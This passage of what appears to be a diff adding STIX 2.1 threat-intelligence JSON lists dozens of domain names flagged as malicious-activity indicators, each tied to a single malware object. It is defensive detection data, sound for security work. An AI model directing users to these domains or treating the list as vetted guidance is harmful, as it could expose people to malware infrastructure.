"relationship--152d070b-3744-46db-b7ab-60f819f393f7", + "created": "2023-03-29T12:58:44.253146Z", + "modified": "2023-03-29T12:58:44.253146Z", + "relationship_type": "indicates", + "source_ref": "indicator--eb664354-9e79-4ad2-b624-40c28b0e96a2", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a3a8d50d-1ea4-48e4-9518-24db4e15af86", + "created": "2023-03-29T12:58:44.253313Z", + "modified": "2023-03-29T12:58:44.253313Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='amplifiedsound.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.253313Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1d0a3811-e592-4690-9a66-52a62ddb074b", + "created": "2023-03-29T12:58:44.253916Z", + "modified": "2023-03-29T12:58:44.253916Z", + "relationship_type": "indicates", + "source_ref": "indicator--a3a8d50d-1ea4-48e4-9518-24db4e15af86", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--47122662-2193-4621-99ca-e4d8418578b7", + "created": "2023-03-29T12:58:44.254085Z", + "modified": "2023-03-29T12:58:44.254085Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='carrouseltributary.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.254085Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--345ca5e3-ed0b-454f-9f2b-0819f83337f9", + "created": "2023-03-29T12:58:44.254792Z", + "modified": "2023-03-29T12:58:44.254792Z", + "relationship_type": "indicates", + "source_ref": "indicator--47122662-2193-4621-99ca-e4d8418578b7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ad8f06cf-83f1-4691-8c96-629de11d51bc", + "created": "2023-03-29T12:58:44.254966Z", + "modified": "2023-03-29T12:58:44.254966Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='randombundle.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.254966Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e3164ba3-b71e-4671-8c71-da8aec636fa6", + "created": "2023-03-29T12:58:44.255556Z", + "modified": "2023-03-29T12:58:44.255556Z", + "relationship_type": "indicates", + "source_ref": "indicator--ad8f06cf-83f1-4691-8c96-629de11d51bc", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2c03b4f7-b99e-4ed8-97c4-31c16acd877f", + "created": "2023-03-29T12:58:44.255724Z", + "modified": "2023-03-29T12:58:44.255724Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='modifiedcabbie.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.255724Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4b743c0c-93d7-4f8d-a5fb-b0a7ed00dda2", + "created": "2023-03-29T12:58:44.256317Z", + "modified": "2023-03-29T12:58:44.256317Z", + "relationship_type": "indicates", + "source_ref": "indicator--2c03b4f7-b99e-4ed8-97c4-31c16acd877f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--19d40820-9b27-4c5c-9041-2050b5e230ea", + "created": "2023-03-29T12:58:44.256484Z", + "modified": "2023-03-29T12:58:44.256484Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='exfoliatedollop.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.256484Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0b72c6c3-6e02-4d59-a535-c5d722aa5f76", + "created": "2023-03-29T12:58:44.257078Z", + "modified": "2023-03-29T12:58:44.257078Z", + "relationship_type": "indicates", + "source_ref": "indicator--19d40820-9b27-4c5c-9041-2050b5e230ea", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--66e94579-11e6-44c2-8daa-7d9864d6f556", + "created": "2023-03-29T12:58:44.257244Z", + "modified": "2023-03-29T12:58:44.257244Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='exorcismaskew.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.257244Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--23fcbf83-9fa2-4f4c-a26e-2372648e1eb3", + "created": "2023-03-29T12:58:44.257849Z", + "modified": "2023-03-29T12:58:44.257849Z", + "relationship_type": "indicates", + "source_ref": "indicator--66e94579-11e6-44c2-8daa-7d9864d6f556", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3cd17a95-dfe5-4c1b-b6b8-a861dda95eb1", + "created": "2023-03-29T12:58:44.25802Z", + "modified": "2023-03-29T12:58:44.25802Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='worstdaycare.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.25802Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7438652b-f66b-48b3-82bf-997484966807", + "created": "2023-03-29T12:58:44.258607Z", + "modified": "2023-03-29T12:58:44.258607Z", + "relationship_type": "indicates", + "source_ref": "indicator--3cd17a95-dfe5-4c1b-b6b8-a861dda95eb1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f05d5a47-a2bd-446b-be30-f0fe227a2bb6", + "created": "2023-03-29T12:58:44.258775Z", + "modified": "2023-03-29T12:58:44.258775Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='antacidtag.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.258775Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cf305885-9966-4c4b-8639-7aea38828365", + "created": "2023-03-29T12:58:44.259363Z", + "modified": "2023-03-29T12:58:44.259363Z", + "relationship_type": "indicates", + "source_ref": "indicator--f05d5a47-a2bd-446b-be30-f0fe227a2bb6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3d364463-243e-423c-afee-e62c2403a86c", + "created": "2023-03-29T12:58:44.259531Z", + "modified": "2023-03-29T12:58:44.259531Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cakefried.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.259531Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f8b466b8-9df9-4b68-9d17-ab93eb992d2d", + "created": "2023-03-29T12:58:44.260114Z", + "modified": "2023-03-29T12:58:44.260114Z", + "relationship_type": "indicates", + "source_ref": "indicator--3d364463-243e-423c-afee-e62c2403a86c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f343c58f-ba4a-4d02-96b3-82600e634f5b", + "created": "2023-03-29T12:58:44.260284Z", + "modified": "2023-03-29T12:58:44.260284Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='gaugingresource.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.260284Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dda1a39c-7d88-4103-ab10-ff93da44ed23", + "created": "2023-03-29T12:58:44.260876Z", + "modified": "2023-03-29T12:58:44.260876Z", + "relationship_type": "indicates", + "source_ref": "indicator--f343c58f-ba4a-4d02-96b3-82600e634f5b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--06e286d9-2026-4382-a0fb-e1bec22f5412", + "created": "2023-03-29T12:58:44.261045Z", + "modified": "2023-03-29T12:58:44.261045Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ok-zone.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.261045Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--39b36141-cdc4-4456-98dc-140545305ded", + "created": "2023-03-29T12:58:44.261757Z", + "modified": "2023-03-29T12:58:44.261757Z", + "relationship_type": "indicates", + "source_ref": "indicator--06e286d9-2026-4382-a0fb-e1bec22f5412", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--39fafe3f-4c73-46e4-9aae-33e3c610b649", + "created": "2023-03-29T12:58:44.26193Z", + "modified": "2023-03-29T12:58:44.26193Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='raisedroofs.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.26193Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c2a1c5d7-148c-49ee-acc4-28012a6fb177", + "created": "2023-03-29T12:58:44.262524Z", + "modified": "2023-03-29T12:58:44.262524Z", + "relationship_type": "indicates", + "source_ref": "indicator--39fafe3f-4c73-46e4-9aae-33e3c610b649", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3b46e5b0-4c83-468c-9c0d-fc7a2701b6f0", + "created": "2023-03-29T12:58:44.262692Z", + "modified": "2023-03-29T12:58:44.262692Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='surrenderchaffing.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.262692Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--377ecf6e-9639-4a04-9d01-3be5b06d2cf7", + "created": "2023-03-29T12:58:44.263286Z", + "modified": "2023-03-29T12:58:44.263286Z", + "relationship_type": "indicates", + "source_ref": "indicator--3b46e5b0-4c83-468c-9c0d-fc7a2701b6f0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--910b7a71-00b3-462e-8acc-fdf1e4010cd8", + "created": "2023-03-29T12:58:44.263454Z", + "modified": "2023-03-29T12:58:44.263454Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='comfosleep.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.263454Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ddc1f8d8-bd7a-44a1-8fab-d23c702b2cfb", + "created": "2023-03-29T12:58:44.264037Z", + "modified": "2023-03-29T12:58:44.264037Z", + "relationship_type": "indicates", + "source_ref": "indicator--910b7a71-00b3-462e-8acc-fdf1e4010cd8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4a4594d8-44bd-40d0-806e-721604564162", + "created": "2023-03-29T12:58:44.264204Z", + "modified": "2023-03-29T12:58:44.264204Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sublimewharf.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.264204Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--096d599a-7481-4e88-9d97-8017625e3d3d", + "created": "2023-03-29T12:58:44.264794Z", + "modified": "2023-03-29T12:58:44.264794Z", + "relationship_type": "indicates", + "source_ref": "indicator--4a4594d8-44bd-40d0-806e-721604564162", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7c571ba4-d262-4263-8635-aabe17e0bc30", + "created": "2023-03-29T12:58:44.264962Z", + "modified": "2023-03-29T12:58:44.264962Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='armholereggae.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.264962Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--be30348c-f727-4dff-a1cc-26e646391209", + "created": "2023-03-29T12:58:44.265553Z", + "modified": "2023-03-29T12:58:44.265553Z", + "relationship_type": "indicates", + "source_ref": "indicator--7c571ba4-d262-4263-8635-aabe17e0bc30", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--06bc4a11-5399-4367-b19f-92bf3e2fcade", + "created": "2023-03-29T12:58:44.26572Z", + "modified": "2023-03-29T12:58:44.26572Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='matadorupchuck.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.26572Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1c43592e-cf1a-4ce8-bab5-e0ac9fed422e", + "created": "2023-03-29T12:58:44.266314Z", + "modified": "2023-03-29T12:58:44.266314Z", + "relationship_type": "indicates", + "source_ref": "indicator--06bc4a11-5399-4367-b19f-92bf3e2fcade", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8d8936e6-ff0c-4ab4-8bd5-b579494c96a2", + "created": "2023-03-29T12:58:44.266482Z", + "modified": "2023-03-29T12:58:44.266482Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='rockingmoose.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.266482Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9d5b89c3-f6e8-468a-b5c2-21a6f7834212", + "created": "2023-03-29T12:58:44.267075Z", + "modified": "2023-03-29T12:58:44.267075Z", + "relationship_type": "indicates", + "source_ref": "indicator--8d8936e6-ff0c-4ab4-8bd5-b579494c96a2", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3eafc56d-5901-4a30-b919-ebf376e91e37", + "created": "2023-03-29T12:58:44.267242Z", + "modified": "2023-03-29T12:58:44.267242Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='challengeunranked.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.267242Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--afe25bf0-9735-4324-b545-70c7f17f96dd", + "created": "2023-03-29T12:58:44.267842Z", + "modified": "2023-03-29T12:58:44.267842Z", + "relationship_type": "indicates", + "source_ref": "indicator--3eafc56d-5901-4a30-b919-ebf376e91e37", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--773bb034-3dfd-4699-8483-91e9c34eb292", + "created": "2023-03-29T12:58:44.268012Z", + "modified": "2023-03-29T12:58:44.268012Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='presumequake.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.268012Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2214b774-a0c9-4cfe-a8c3-cabee3decccd", + "created": "2023-03-29T12:58:44.268976Z", + "modified": "2023-03-29T12:58:44.268976Z", + "relationship_type": "indicates", + "source_ref": "indicator--773bb034-3dfd-4699-8483-91e9c34eb292", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a2fd5358-590e-4305-88d4-f41d2ca1e276", + "created": "2023-03-29T12:58:44.26915Z", + "modified": "2023-03-29T12:58:44.26915Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dimpleretrain.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.26915Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a95ae20e-f8f9-46bb-81ca-0f27dfbb29a7", + "created": "2023-03-29T12:58:44.269747Z", + "modified": "2023-03-29T12:58:44.269747Z", + "relationship_type": "indicates", + "source_ref": "indicator--a2fd5358-590e-4305-88d4-f41d2ca1e276", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--02d992ca-95eb-4110-86e4-96617b86a423", + "created": "2023-03-29T12:58:44.269921Z", + "modified": "2023-03-29T12:58:44.269921Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='colorschoice.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.269921Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1065a9cb-6e05-4b18-a6c0-0497788640e2", + "created": "2023-03-29T12:58:44.270512Z", + "modified": "2023-03-29T12:58:44.270512Z", + "relationship_type": "indicates", + "source_ref": "indicator--02d992ca-95eb-4110-86e4-96617b86a423", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a03905fe-3c8b-42a8-8f79-de6fe8e2553a", + "created": "2023-03-29T12:58:44.270682Z", + "modified": "2023-03-29T12:58:44.270682Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='headachecornstalk.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.270682Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6016abe9-216a-4d95-9d49-56b281803006", + "created": "2023-03-29T12:58:44.27128Z", + "modified": "2023-03-29T12:58:44.27128Z", + "relationship_type": "indicates", + "source_ref": "indicator--a03905fe-3c8b-42a8-8f79-de6fe8e2553a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fe2d3ccd-9587-490e-b724-391c72a12fe0", + "created": "2023-03-29T12:58:44.271448Z", + "modified": "2023-03-29T12:58:44.271448Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='valuecharm.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.271448Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cc3a0ccb-6b39-4559-a925-ce320b227a54", + "created": "2023-03-29T12:58:44.272032Z", + "modified": "2023-03-29T12:58:44.272032Z", + "relationship_type": "indicates", + "source_ref": "indicator--fe2d3ccd-9587-490e-b724-391c72a12fe0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e65ac060-bcd9-4337-8e57-181c13c860bf", + "created": "2023-03-29T12:58:44.272199Z", + "modified": "2023-03-29T12:58:44.272199Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='passinglikewise.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.272199Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dc89548d-2fd5-4f87-aeed-53dc99236435", + "created": "2023-03-29T12:58:44.272787Z", + "modified": "2023-03-29T12:58:44.272787Z", + "relationship_type": "indicates", + "source_ref": "indicator--e65ac060-bcd9-4337-8e57-181c13c860bf", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e252aa63-a101-455e-94b2-7c0dc95865a6", + "created": "2023-03-29T12:58:44.272954Z", + "modified": "2023-03-29T12:58:44.272954Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='factualpantry.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.272954Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f67853b8-55ef-4728-959e-cd2948b25b92", + "created": "2023-03-29T12:58:44.27355Z", + "modified": "2023-03-29T12:58:44.27355Z", + "relationship_type": "indicates", + "source_ref": "indicator--e252aa63-a101-455e-94b2-7c0dc95865a6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d7388de0-e5f6-464d-ada7-e915a76cd3f3", + "created": "2023-03-29T12:58:44.273719Z", + "modified": "2023-03-29T12:58:44.273719Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cradlingtranspose.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.273719Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a7631897-7d80-410e-b01a-9a98383b5282", + "created": "2023-03-29T12:58:44.274313Z", + "modified": "2023-03-29T12:58:44.274313Z", + "relationship_type": "indicates", + "source_ref": "indicator--d7388de0-e5f6-464d-ada7-e915a76cd3f3", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e3de2bea-2a8d-4c9f-819f-765099c09f53", + "created": "2023-03-29T12:58:44.27448Z", + "modified": "2023-03-29T12:58:44.27448Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='policygravel.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.27448Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fc264666-6824-40bd-bf99-eab88d8903a0", + "created": "2023-03-29T12:58:44.275066Z", + "modified": "2023-03-29T12:58:44.275066Z", + "relationship_type": "indicates", + "source_ref": "indicator--e3de2bea-2a8d-4c9f-819f-765099c09f53", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7caf64c3-78de-47d0-9861-053ea4f580b1", + "created": "2023-03-29T12:58:44.275232Z", + "modified": "2023-03-29T12:58:44.275232Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='shuckingwhiny.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.275232Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--80137d6f-a10f-48a5-8274-858684fe74f8", + "created": "2023-03-29T12:58:44.275826Z", + "modified": "2023-03-29T12:58:44.275826Z", + "relationship_type": "indicates", + "source_ref": "indicator--7caf64c3-78de-47d0-9861-053ea4f580b1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8244b234-d74f-47ac-84fe-20c32be16cac", + "created": "2023-03-29T12:58:44.275994Z", + "modified": "2023-03-29T12:58:44.275994Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='oppositelegend.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.275994Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--75d71b61-e408-457f-9645-778051e708d3", + "created": "2023-03-29T12:58:44.276702Z", + "modified": "2023-03-29T12:58:44.276702Z", + "relationship_type": "indicates", + "source_ref": "indicator--8244b234-d74f-47ac-84fe-20c32be16cac", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7dd79895-09d6-4bbf-ab79-1bd53c24021b", + "created": "2023-03-29T12:58:44.276873Z", + "modified": "2023-03-29T12:58:44.276873Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='diffusivelandscape.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.276873Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--741b2ddb-59d5-497a-a216-c5a7274c1bb5", + "created": "2023-03-29T12:58:44.277474Z", + "modified": "2023-03-29T12:58:44.277474Z", + "relationship_type": "indicates", + "source_ref": "indicator--7dd79895-09d6-4bbf-ab79-1bd53c24021b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--02452081-8ead-474f-9f80-c8d1ce724383", + "created": "2023-03-29T12:58:44.277651Z", + "modified": "2023-03-29T12:58:44.277651Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tippedanvil.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.277651Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--023b163d-072c-42c5-9d59-d3089895b6ad", + "created": "2023-03-29T12:58:44.278239Z", + "modified": "2023-03-29T12:58:44.278239Z", + "relationship_type": "indicates", + "source_ref": "indicator--02452081-8ead-474f-9f80-c8d1ce724383", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--554dcbf6-7e3f-4b02-a68b-d18249cebafc", + "created": "2023-03-29T12:58:44.278408Z", + "modified": "2023-03-29T12:58:44.278408Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='willowsquishy.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.278408Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3b55b26b-9bd0-4e5c-80b3-b29cf9a981b3", + "created": "2023-03-29T12:58:44.279059Z", + "modified": "2023-03-29T12:58:44.279059Z", + "relationship_type": "indicates", + "source_ref": "indicator--554dcbf6-7e3f-4b02-a68b-d18249cebafc", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b1f58880-dfaf-4c1b-889d-aafa90fa0445", + "created": "2023-03-29T12:58:44.279235Z", + "modified": "2023-03-29T12:58:44.279235Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='undauntedbagginess.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.279235Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--26cf386f-fdb5-4b0b-be2a-7cea66204c21", + "created": "2023-03-29T12:58:44.27984Z", + "modified": "2023-03-29T12:58:44.27984Z", + "relationship_type": "indicates", + "source_ref": "indicator--b1f58880-dfaf-4c1b-889d-aafa90fa0445", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7c0490ac-6c64-4eb8-8fc7-c675072d0e5b", + "created": "2023-03-29T12:58:44.28001Z", + "modified": "2023-03-29T12:58:44.28001Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='spoutrental.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.28001Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dafd15fc-7fd5-4f2d-b2c5-c969200fedd5", + "created": "2023-03-29T12:58:44.280602Z", + "modified": "2023-03-29T12:58:44.280602Z", + "relationship_type": "indicates", + "source_ref": "indicator--7c0490ac-6c64-4eb8-8fc7-c675072d0e5b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2df2bcef-f728-4df2-b8cd-721bde306445", + "created": "2023-03-29T12:58:44.280771Z", + "modified": "2023-03-29T12:58:44.280771Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='servingunsalted.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.280771Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7650b05d-d850-4c5a-96bc-ea68f3ea8d5d", + "created": "2023-03-29T12:58:44.281629Z", + "modified": "2023-03-29T12:58:44.281629Z", + "relationship_type": "indicates", + "source_ref": "indicator--2df2bcef-f728-4df2-b8cd-721bde306445", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a970dd32-3b79-42af-abcc-071ef62f2893", + "created": "2023-03-29T12:58:44.281892Z", + "modified": "2023-03-29T12:58:44.281892Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='modulatorundermine.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.281892Z" + }, + { + "type": "relationship", + 